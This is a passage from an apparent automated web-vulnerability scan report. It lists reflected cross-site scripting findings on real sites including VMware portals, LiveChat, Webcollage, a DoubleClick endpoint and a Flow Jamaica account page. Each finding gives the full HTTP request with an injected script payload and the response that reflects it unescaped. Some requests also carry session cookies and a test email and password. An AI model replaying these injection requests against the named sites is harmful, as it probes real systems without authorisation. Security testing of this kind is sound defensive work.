P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 671
Connection: Keep-Alive

%24({"invitation":{"align":"centered","x":"0","y":"0","image":"/licence/1044091/gfx/invite_en.gif"},"visitor":{"nick":"$","hostname":"$","last_visit":"1335824848","session":"S1335440163.327aee9d9b","p
...[SNIP]...
ent_version":"$","params":"$","groups":"0"},"lic":"1044091","serv":"chat1e.livechatinc.com","analytics_id":"","status":"1","redirect_url":"chat1e.livechatinc.com/licence/1044091/open_chat.cgi?invite=1&63ef4<script>alert(1)</script>3b8490f0722=1","lang":"en","embedded_chat":{"enabled":"20","eye_grabber":{"x":"0","y":"0"}},"client_limit_exceeded":0});
1.10. http://content.webcollage.net/supremecomputingservicesco/showcase [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.webcollage.net
Path:   /supremecomputingservicesco/showcase

Request

GET /supremecomputingservicesco/showcase?showcase=symantecbtob&223b7"%3balert(1)//55eebc31f75=1 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Proxy-Connection: Keep-Alive
Host: content.webcollage.net

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
Content-Length: 5767
Cache-Control: max-age=36000000
Date: Tue, 01 May 2012 16:31:36 GMT
Connection: close
Vary: Accept-Encoding

function getParam(_gprm1,_gprm2){var _gprm3=_gprm2+"=";var _gprm4=_gprm1.indexOf(_gprm3);if(_gprm4==0 || _gprm1.charAt(_gprm4-1)=='?' || _gprm1.charAt(_gprm4-1)=='&'){_gprm4+=_gprm3.length;var _gprm5=
...[SNIP]...
ervicesco/symantecbtob-showcase",
"www.live.symantecbtob.webcollage.net",
"80",
"443",
"&wccgsite=supremecomputingservicesco&223b7";alert(1)//55eebc31f75=1&wccgfunc=showcase",
"n-state",
false,
false,
"sync",
"http://www.live.symantecbtob.webcollage.net:80/se
...[SNIP]...
1.11. http://content.webcollage.net/supremecomputingservicesco/showcase [showcase parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.webcollage.net
Path:   /supremecomputingservicesco/showcase

Request

GET /supremecomputingservicesco/showcase?showcase=symantecbtob6fe68"%3balert(1)//90784a12bed HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Proxy-Connection: Keep-Alive
Host: content.webcollage.net

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
Content-Length: 5848
Cache-Control: max-age=36000000
Date: Tue, 01 May 2012 16:31:36 GMT
Connection: close
Vary: Accept-Encoding

function getParam(_gprm1,_gprm2){var _gprm3=_gprm2+"=";var _gprm4=_gprm1.indexOf(_gprm3);if(_gprm4==0 || _gprm1.charAt(_gprm4-1)=='?' || _gprm1.charAt(_gprm4-1)=='&'){_gprm4+=_gprm3.length;var _gprm5=
...[SNIP]...
"NS4")||(H=="NS3")){_wcssInjectWebService();}}

if (typeof(wsmlUnsupportedUserAgent) == 'undefined' || !wsmlUnsupportedUserAgent())
_webServiceClient("/server/supremecomputingservicesco/symantecbtob6fe68";alert(1)//90784a12bed-showcase",
"www.live.symantecbtob6fe68";alert(1)//90784a12bed.webcollage.net",
"80",
"443",
"&wccgsite=supremecomputingservi
...[SNIP]...
1.12. http://gis2.livechatinc.com/gis.cgi [REST URL parameter 1]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gis2.livechatinc.com
Path:   /gis.cgi

Request

GET /gis.cgi67799<script>alert(1)</script>2b3b56a1d1b HTTP/1.1
Host: gis2.livechatinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Type: text/plain
Connection: close
Content-Length: 60

Cannot GET /gis.cgi67799<script>alert(1)</script>2b3b56a1d1b
1.13. http://gis2.livechatinc.com/gis.cgi [jsonp parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gis2.livechatinc.com
Path:   /gis.cgi

Request

GET /gis.cgi?serverType=control&licenseID=1044091&jsonp=__lc_gis1f4c3%3balert(1)//c4c860ffd70 HTTP/1.1
Host: gis2.livechatinc.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.flowjamaica.com/index.php?option=com_content&task=view&id=60&Itemid=192

Response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json
Cache-Control: max-age=600
Connection: close
Content-Length: 73

__lc_gis1f4c3;alert(1)//c4c860ffd70({"server": "chat1g.livechatinc.com"})
1.14. http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi [s parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://googleads.g.doubleclick.net
Path:   /apps/domainpark/domainpark.cgi

Request

GET /apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-godaddy2_xml&domain_name=www.columbusnetworks.co&hl=en&s=www.columbusnetworks.cofc6e6"%3balert(1)//25e7a1f78bc&num_radlinks=0&dt=1335824272794&u_tz=-300&u_his=3&u_h=768&u_w=1024&frm=0&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: googleads.g.doubleclick.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.columbusnetworks.co/
Cookie: id=cab7f6e3f000087|2818894/957634/15425,2588783/907846/15378|t=1323152065|et=730|cs=002213fd48674b28bc9f80d171

Response

HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
Content-Disposition: inline
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
X-Content-Type-Options: nosniff
Date: Tue, 01 May 2012 00:08:38 GMT
Server: domainserver
Cache-Control: private
Content-Length: 37097
X-XSS-Protection: 1; mode=block

_google_json_callback(
{
"tm": 0.163441,
"session_token": "AG06ipCkjqXG_A88LnJr1p5Rcl8P6CB72QoTCMzw4vrl3a8CFVEZNAodS1EpuRgEcRwIuhg-h9Z6eK7J6BY",
"output": "js",
"domain_name": "http:
...[SNIP]...
P"
}
]
}
],

"request": {
"client": "ca-dp-godaddy2_xml",
"hl": "en",
"domain_name": "www.columbusnetworks.co",
"s": "www.columbusnetworks.cofc6e6";alert(1)//25e7a1f78bc",
"q": ""
}
}
);
1.15. https://my.vmware.com/web/vmware/evalcenter [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Request

GET /web/vmware/evalcenter?p=vmware-vsphere5-ent&50403"><script>alert(1)</script>8a973a4b5b7=1 HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "79e16b6a"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:20:55 GMT
Vary: Accept-Encoding
Content-Length: 67548
Date: Tue, 01 May 2012 04:20:55 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=3D06ABBE79B4425296E0EFA157545DD1; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:20:55 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
<input type="hidden" name="redirectURL" id="redirectURL" value="/web/vmware/evalcenter?p=vmware-vsphere5-ent&50403"><script>alert(1)</script>8a973a4b5b7=1&source=evap" />
...[SNIP]...
1.16. https://my.vmware.com/web/vmware/evalcenter [source parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Request

GET /web/vmware/evalcenter?p=vmware-vsphere5-ent&source=evap9bd4c"><script>alert(1)</script>c82e47a0916 HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "57ac8e35"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:13 GMT
Date: Tue, 01 May 2012 04:21:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=93BDAE5706E3A0AF76438201DC6856CB; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:13 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/
Content-Length: 67585



...[SNIP]...
<input type="hidden" name="redirectURL" id="redirectURL" value="/web/vmware/evalcenter?p=vmware-vsphere5-ent&source=evap9bd4c"><script>alert(1)</script>c82e47a0916&source=evap" />
...[SNIP]...
1.17. https://myaccount.flowja.com/ [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

GET /?p=password&6b343"><script>alert(1)</script>ab1a5f5754c=1 HTTP/1.1
Host: myaccount.flowja.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14066

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<form method="post" action="/?p=password&6b343"><script>alert(1)</script>ab1a5f5754c=1" onsubmit="return display_progress();">
...[SNIP]...
1.18. https://myaccount.flowja.com/ [user_accno parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

POST /?p=n&sectid=1 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=1
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

user_accno=gbefvcdxd5999"><script>alert(1)</script>527edd397ba&user_first=fdvcsxerfdcxfd&user_last=bgvfdcxsfdx&user_emailAddress=sa94115%40gmail.com&user_emailAddress2=sa94115%40gmail.com&user_password%5B%5D=123456&user_password%5B%5D=123456&wants_ebill=1&disc_t
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16588

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<input type="text" maxlength="8" value="gbefvcdxd5999"><script>alert(1)</script>527edd397ba" name="user_accno" />
...[SNIP]...
1.19. https://myaccount.flowja.com/ [user_emailAddress parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

POST /?p=n&sectid=3 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=3
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

user_emailAddress=sa94115%40gmail.com5f556"><script>alert(1)</script>27fc13d3afa&user_password=123456&submitButton=1

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15798

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<input name="user_emailAddress" value="sa94115@gmail.com5f556"><script>alert(1)</script>27fc13d3afa" size="18" />
...[SNIP]...
1.20. https://myaccount.flowja.com/ [user_emailAddress2 parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

POST /?p=n&sectid=1 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=1
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

user_accno=gbefvcdx&user_first=fdvcsxerfdcxfd&user_last=bgvfdcxsfdx&user_emailAddress=sa94115%40gmail.com&user_emailAddress2=sa94115%40gmail.com3cafe"><script>alert(1)</script>a1350c0ae78&user_password%5B%5D=123456&user_password%5B%5D=123456&wants_ebill=1&disc_triggerCreate=1

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16633

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<input type="text" value="sa94115@gmail.com3cafe"><script>alert(1)</script>a1350c0ae78" name="user_emailAddress2" />
...[SNIP]...
1.21. https://myaccount.flowja.com/ [user_first parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

POST /?p=n&sectid=1 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=1
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

user_accno=gbefvcdx&user_first=fdvcsxerfdcxfde48de"><script>alert(1)</script>6f75032559&user_last=bgvfdcxsfdx&user_emailAddress=sa94115%40gmail.com&user_emailAddress2=sa94115%40gmail.com&user_password%5B%5D=123456&user_password%5B%5D=123456&wants_ebill=1&disc_triggerCreate=1

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:41 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16587

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<input type="text" value="fdvcsxerfdcxfde48de"><script>alert(1)</script>6f75032559" name="user_first" />
...[SNIP]...
1.22. https://myaccount.flowja.com/ [user_last parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://myaccount.flowja.com
Path:   /

Request

POST /?p=n&sectid=1 HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://myaccount.flowja.com/?p=n&sectid=1
Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

user_accno=gbefvcdx&user_first=fdvcsxerfdcxfd&user_last=bgvfdcxsfdx31078"><script>alert(1)</script>5f63969f21d&user_emailAddress=sa94115%40gmail.com&user_emailAddress2=sa94115%40gmail.com&user_password%5B%5D=123456&user_password%5B%5D=123456&wants_ebill=1&disc_triggerCreate=1

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:07:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16588

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
<input type="text" value="bgvfdcxsfdx31078"><script>alert(1)</script>5f63969f21d" name="user_last" />
...[SNIP]...
1.23. http://mylearn.vmware.com/ilearn/MgrReg/faq.cfm [REST URL parameter 2]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /ilearn/MgrReg/faq.cfm

Request

GET /ilearn/MgrReg40fc0"-alert(1)-"b49f991522b/faq.cfm HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 01 May 2012 04:25:05 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html
Connection: close
Content-Length: 4360

The page cannot be displayed because an internal server error has occurred.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>myLear
...[SNIP]...
<script type="text/javascript" defer>
var url = "/ilearn/MgrReg40fc0"-alert(1)-"b49f991522b/faq.cfm?" + "";

   function reload(){
       document.location = url;
       document.location.reload();
   }
   
   function goAction(goTo){
       // alert(goTo);
       // return false;
       location.href = goTo;
   }
...[SNIP]...
1.24. http://mylearn.vmware.com/mgrreg/locations.cfm [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /mgrreg/locations.cfm

Request

GET /mgrreg/locations.cfm?6f0f1"><script>alert(1)</script>6f33581271f=1 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:23:46 GMT
Server: Microsoft-IIS/7.5
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 31984


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head><script type="text/javascript" src="/CFIDE/scripts/cfform.js"
...[SNIP]...
<form name="searchForm" id="searchForm" action="/mgrreg/locations.cfm?6f0f1"><script>alert(1)</script>6f33581271f=1" method="get" onsubmit="return _CF_checksearchForm(this)">
...[SNIP]...
1.25. http://mylearn.vmware.com/mgrreg/locations.cfm [ui parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /mgrreg/locations.cfm

Request

GET /mgrreg/locations.cfm?ui=www_edu68975"><script>alert(1)</script>af014886304 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:24:08 GMT
Server: Microsoft-IIS/7.5
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 31992


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head><script type="text/javascript" src="/CFIDE/scripts/cfform.js"
...[SNIP]...
<form name="searchForm" id="searchForm" action="/mgrreg/locations.cfm?ui=www_edu68975"><script>alert(1)</script>af014886304" method="get" onsubmit="return _CF_checksearchForm(this)">
...[SNIP]...
1.26. http://mylearn.vmware.com/portals/www/search/results.cfm [Search parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search189d6"><script>alert(1)</script>e8a8fb37536 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:28:51 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search189d6"><script>alert(1)</script>e8a8fb37536" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.27. http://mylearn.vmware.com/portals/www/search/results.cfm [category parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple&category=schedule220af"><script>alert(1)</script>8c1f05ebda6&id_discount=293 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:27:26 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 164178


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple&category=schedule220af"><script>alert(1)</script>8c1f05ebda6&id_discount=293" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.28. http://mylearn.vmware.com/portals/www/search/results.cfm [deliveryType parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=schedule&Search=Search&deliveryType=16e9bcb"><script>alert(1)</script>7c0e8966da&filters=deliveryType HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:29:53 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 372851


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=schedule&Search=Search&deliveryType=16e9bcb"><script>alert(1)</script>7c0e8966da&filters=deliveryType" method="GET" style="margin:0;">
...[SNIP]...
1.29. http://mylearn.vmware.com/portals/www/search/results.cfm [filters parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=schedule&Search=Search&deliveryType=16&filters=deliveryType473cf"><script>alert(1)</script>26f268c584d HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
